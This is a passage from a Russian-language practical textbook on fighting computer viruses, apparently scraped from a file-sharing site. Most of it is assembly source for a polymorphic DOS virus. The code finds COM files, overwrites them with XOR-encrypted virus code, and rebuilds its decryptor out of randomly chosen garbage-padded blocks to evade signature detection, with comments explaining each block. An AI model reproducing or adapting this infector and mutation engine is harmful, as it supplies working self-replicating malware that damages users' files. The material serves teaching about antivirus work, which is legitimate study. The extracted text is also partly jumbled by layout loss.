Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Технологии борьбы с компьютерными вирусами. Практическое пособие

.pdf
Скачиваний:
0
Добавлен:
15.08.2026
Размер:
1 Мб
Скачать

DOS вирусы

 

111

 

 

 

end_preob:

 

 

 

stosb

 

; После преобразования кладем его на место

 

loop generator

; Обрабатываем всю таблицу блоков

 

ret

 

; Возврат из процедуры

;----------------------------------------------

 

 

 

random2:

 

 

; Процедура преобразования байта

 

in ax,40h

; В ax помещается случайное число

 

and ax,5

; Ограничиваем его диапазоном 0-5

 

xchg ax,bx

; Полученное число помещаем в bx

 

add bx,offset garbage

; Добавляем к нему смещение таблицы мусорных байт

 

mov al,[bx]

; Помещаем в al случайный байт из этой таблицы

 

ret

 

; Возврат из процедуры

;----------------------------------------------

 

 

 

garbage:

 

 

; Таблица мусорных байт

 

nop

 

 

 

clc

 

 

 

stc

 

 

 

cmc

 

 

 

cld

 

 

 

cli

 

 

;----------------------------------------------

 

 

 

 

fmask

db '*.c*',0

;

 

handle dw ?

; Переменные

 

ch1

db 05h

;

 

ch2

db 20

;

code

ends

 

 

end

main

 

 

;----------------------------------------------

 

 

 

Стоит рассмотреть логику функционирования данного полиморфного вируса

более подробно.

 

Начнем с первого блока:

 

;----------------------------------------------

 

 

 

mut1:

 

 

 

 

sti

 

; !!!!

 

call

encrypt_decrypt

; Вызов процедуры шифрования

 

nop

 

; !!!

;----------------------------------------------

 

 

 

mut2:

 

 

 

 

lahf

 

; !!!!

 

jmp

random_mutation

; Начало работы вируса

 

stc

 

; !!!!

;----------------------------------------------

 

 

 

infect_file:

 

; Процедура инфицирования

mut3:

 

 

 

 

mov

dx,100h

; dx указывает на начало кода

 

push

bx

; Сохраняем bx в стеке

 

stc

 

; !!!!

;----------------------------------------------

 

 

 

mut4:

 

 

 

 

nop

 

; !!!!

112

 

DOS вирусы

 

 

 

call

encrypt_decrypt

; Вызов процедуры шифрования

cmc

 

; !!!!

;----------------------------------------------

 

 

mut5:

 

 

clc

 

; !!!!

pop

bx

; Восстановим из стека bx

lahf

 

; !!!!

mov

ah,40h

; DOS-функция записи в файл

;----------------------------------------------

 

 

mut6:

 

 

nop

 

; !!!!

int

21h

; Пишем вирусный код в файл

dec

bp

; !!!!

dec

bp

; !!!!

;----------------------------------------------

 

 

mut7:

 

 

nop

 

; !!!!

stc

 

; !!!!

call

encrypt_decrypt

; Расшифровка кода

;----------------------------------------------

 

 

mut8:

 

 

cmc

 

; !!!!

mov

ax,3fh

; !!!!

ret

 

; Возврат из процедуры инфицирования

;----------------------------------------------

 

 

encrypt_decrypt:

 

; Процедура шифровки/расшифровки

mut9:

 

 

mov

bx,offset virus_code

; С какого места начинаем шифровать код

lahf

 

; !!!!

stc

 

; !!!!

;----------------------------------------------

 

 

xor_loop:

 

; Здесь начинается цикл

mut10:

 

 

nop

 

; !!!!

mov

ah,[bx]

; Берем текущий байт и кладем в ah

stc

 

; !!!!

cmc

 

; !!!!

;----------------------------------------------

 

 

mut11:

 

 

xor

ah,encrypt_val

; Преобразовываем его операцией XOR

sti

 

; !!!!

;----------------------------------------------

 

 

mut12:

 

 

clc

 

; !!!!

cmc

 

; !!!!

mov

[bx],ah

; Возвращаем байт на прежнее место

sti

 

; !!!!

;----------------------------------------------

 

 

mut13:

 

 

nop

 

; !!!!

nop

 

; !!!!

inc

bx

; Переходим к следующему байту

stc

 

; !!!!

DOS вирусы

 

113

 

 

 

clc

 

; !!!!

;----------------------------------------------

 

 

mut14:

 

 

sahf

 

; !!!!

cmp

bx,offset virus_code+virus_size ; Мы все байты зашифровали?

;----------------------------------------------

 

 

mut15:

 

 

lahf

 

; !!!!

jle

xor_loop

; Если нет, то шифруем до конца

nop

 

; !!!!

sti

 

; !!!!

;----------------------------------------------

 

 

mut16:

 

 

stc

 

; !!!!

clc

 

; !!!!

cli

 

; !!!!

sti

 

; !!!!

ret

 

; Возврат из шифрующей процедуры

;----------------------------------------------

 

 

encrypt_val db 00h

; Ключ шифрования

virus_size equ 588

; Размер вируса

;----------------------------------------------

 

 

virus_code:

 

; С этой метки шифруется код

random_mutation:

 

;

call

polym

; Вызов процедуры мутации нешифрованной части

 

 

; вируса

mov

ah,2ch

; Возьмем по таймеру значение

int

21h

 

mov

encrypt_val,dl

; Присвоим это случайное значение ключу

find_com:

 

 

xor

cx,cx

 

lea

dx,fmask

; Найдем файл по маске *.com

mov

ah,4eh

;

int

21h

 

jnc

healthy

 

continue_search:

 

 

mov

ah,4fh

; Ищем следующий файл

int

21h

;

jc exit_virus

; Если файлов больше нет, идем на выход

healthy:

 

 

mov

ax,3d02h

; Откроем файл

mov

dx,09eh

 

int

21h

 

mov

handle,ax

; Сохраним хэндл файла в переменную

xchg

ax,bx

; Поместим хэндл файла в bx

mov

cx,virus_size

; В cx поместим размер вируса

call

infect_file

; Заразим файл

call

close_file

; Закроем его

jmp

short continue_search

; Перейдем к следующей жертве

114

 

DOS вирусы

 

 

 

ret

 

 

close_file:

 

 

mov

bx,handle

; Восстановим хэндл файла

mov

ah,3eh

; Затем закроем файл

int

21h

 

exit_virus:

 

 

ret

 

; Конец программы

;----------------------------------------------

 

 

Данный блок представляет уже рассмотренный нами шифрованный вирус, но расшифровщик поделен на 16 частей по 5 байт в каждой. В каждой части инструкции настоящего расшифровщика разбавлены мусорными командами. В шифрованной части находится вызов процедуры мутации. Остальное идентич- но ранее рассмотренному шифрованному вирусу.

Переходим к второму блоку:

;----------------------------------------------

 

polym:

 

call musor

; Вызов процедуры, генерирующей мусорные команды

call random

; Вызов основной процедуры мутации

ret

; Возврат из процедуры

;----------------------------------------------

 

random:

 

mov di,100h

; Мутации начинать с начала вирусного кода

mov dx,0

; Счетчик мутаций

ran:

 

in ax,40h

; Получаем случайное число в ax

and ax,3

; Ограничиваем его диапазоном 0-3

mul ch1

; Умножаем на 5 - размер одного блока

xchg ax,si

; Помещаем в si полученное число

mov ax,dx

; В ax помещаем номер мутируемого блока

mul ch2

; Умножаем на 20 - кол-во байт в 4-х блоках

add si,offset garbage1

; Добавляем к si смещение на таблицу блоков

add si,ax

; Добавляем ax, который указывает на один из блоков

mov cx,5

; В cx помещается 5 - кол-во байт для перемещения

rep movsb

; Уже готовый разбавленный мусорными командами блок

 

; Помещается в нешифрованную часть вируса

inc dx

; Переходим к следующему блоку

cmp dx,15

; Пока все 16 блоков не мутировали

jle ran

; Продолжаем мутации

ret

; Возврат из процедуры

;----------------------------------------------

 

garbage1:

; Таблица блоков. Один из четырех формирует

 

; инструкцию расшифровщика

db 90h

 

db 90h

 

db 0e8h,23h,00h ;=======================================

db 90h

DOS вирусы

115

 

 

db 0e8h,24h,00h db 90h

;======================================= db 0e8h,25h,00h

db 90h db 90h

;======================================= db 90h

db 0e8h,24h,00h db 90h

;=======================================

garbage2:

db 90h db 90h db 90h

db 0ebh,47h ;=======================================

db 0ebh,4ah db 90h

db 90h db 90h

;======================================= db 90h

db 90h

db 0ebh,48h db 90h

;======================================= db 90h

db 0ebh,49h db 90h

db 90h ;======================================= garbage3:

db 90h push bx

mov dx,100h ;=======================================

push bx db 90h

mov dx,100h ;=======================================

push bx push 100h pop dx

;======================================= mov dx,100h

db 90h push bx

;=======================================

garbage4:

db 90h db 90h

db 0e8h,14h,00h

116

DOS вирусы

 

 

;=======================================

 

db 90h

 

db 0e8h,15h,00h

 

db 90h

 

;=======================================

 

db 0e8h,16h,00h

 

db 90h

 

db 90h

 

;=======================================

 

db 90h

 

db 0e8h,15h,00h

 

db 90h

 

;=======================================

 

garbage5:

 

pop bx

 

mov ah,3fh

 

inc ah

 

;=======================================

 

pop ax

 

xchg ax,bx

 

mov ah,40h

 

int 3h

 

;=======================================

 

mov ah,41h

 

pop bx

 

dec ah

 

;========================================

 

mov ah,40h

 

int 1h

 

pop bx

 

;========================================

 

garbage6:

 

db 90h

 

db 90h

 

db 90h

 

int 21h

 

;========================================

 

int 21h

 

db 90h

 

db 90h

 

db 90h

 

;========================================

 

db 90h

 

int 21h

 

db 90h

 

db 90h

 

;========================================

 

db 90h

 

int 21h

 

db 90h

 

db 90h

 

;========================================

 

garbage7:

 

db 90h

 

DOS вирусы

117

 

 

db 90h

db 0e8h,05h,00h ;========================================

db 90h

db 0e8h,06h,00h db 90h

;========================================= db 0e8h,07h,00h

db 90h db 90h

;========================================= db 90h

db 0e8h,06h,00h db 90h

;=========================================

garbage8:

db 90h db 90h db 90h ret

db 90h ;=========================================

db 90h pop bx jmp bx db 90h

;========================================= db 90h

ret

db 90h db 90h db 90h

;========================================= pop ax

jmp ax db 90h db 90h

;=========================================

garbage9:

db 90h

db 0bbh,51h,01h db 90h

;========================================= db 90h

db 90h

db 0bbh,51h,01h ;=========================================

db 90h

mov bh,01h mov bl,51h

;========================================= mov bl,51h

mov bh,01h db 90h

118

DOS вирусы

 

 

;=========================================

garbage10:

db 90h

mov ah,[bx] db 90h

db 90h ;==========================================

mov ah,[bx] db 90h

db 90h db 90h

;========================================== db 90h

db 90h

mov ah,[bx] db 90h

;========================================== db 90h

db 90h db 90h

mov ah,[bx] ;========================================== garbage11:

db 90h

xor ah,encrypt_val ;==========================================

xor ah,encrypt_val db 90h

;========================================== db 90h

xor ah,encrypt_val ;==========================================

xor ah,encrypt_val db 90h

;==========================================

garbage12:

mov [bx],ah db 90h

db 90h db 90h

;========================================== db 90h

mov [bx],ah db 90h

db 90h ;===========================================

db 90h db 90h

mov [bx],ah db 90h

;=========================================== db 90h

db 90h db 90h

DOS вирусы

119

 

 

mov [bx],ah ;=========================================== garbage13:

inc bx db 90h db 90h db 90h db 90h

;============================================ db 90h

inc bx db 90h db 90h db 90h

;============================================ db 90h

db 90h inc bx db 90h db 90h

;============================================ db 90h

db 90h db 90h db 90h inc bx

;============================================

garbage14:

db 90h

cmp bx,offset virus_code+virus_size ;============================================

cmp bx,offset virus_code+virus_size db 90h

;============================================ db 90h

cmp bx,offset virus_code+virus_size ;============================================

cmp bx,offset virus_code+virus_size db 90h

;============================================

garbage15:

db 7eh,0e5h db 90h

db 90h db 90h

;============================================ db 90h

db 7eh,0e4h db 90h

db 90h ;=============================================

db 90h db 90h

db 7eh,0e3h

120

DOS вирусы

 

 

db

90h

;=============================================

db

90h

db

90h

db

90h

db 7eh,0e2h

;=============================================

garbage16:

 

db 90h

db 90h

db 90h

ret

 

db 90h

;=============================================

db 90h

pop bx

jmp bx

db 90h

;=============================================

db 90h

ret

 

db 90h

db 90h

db 90h

;=============================================

pop ax

jmp ax

db 90h

db 90h

;----------------------------------------------

В данном блоке поочередно случайным образом выбирается одна из 4 заготовок для первого блока нешифрованных инструкций, затем для второго и т. д. до 16 блока. Но перед размещением этих блоков вызывается процедура генерации мусора, которая изменяет мусорные байты в каждой таблице блоков, что существенно увеличивает количество мутаций.

Теперь перейдем к третьему блоку:

;----------------------------------------------

 

musor:

; Процедура мутации мусорных команд в блоках

lea si,garbage1

; В si загружается начало таблицы блоков

mov di,si

; Â di òî æå

mov cx,musor-garbage1

; В cx кол-во байт для обработки, у нас вся таблица

call generator

; Вызываем процедуру генерации мусорных байт

ret

; Возврат из процедур

;----------------------------------------------

 

generator:

; Процедура генерации мусорных байт

lodsb

; Загружаем в al текущий байт

cmp al,90h

; Если текущий байт nop,

je preob

; То преобразуем его по случайному закону

cmp al,0f8h

; Если текущий байт clc,

je preob

; То преобразуем его по случайному закону

cmp al,0f9h

; Если текущий байт stc,

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]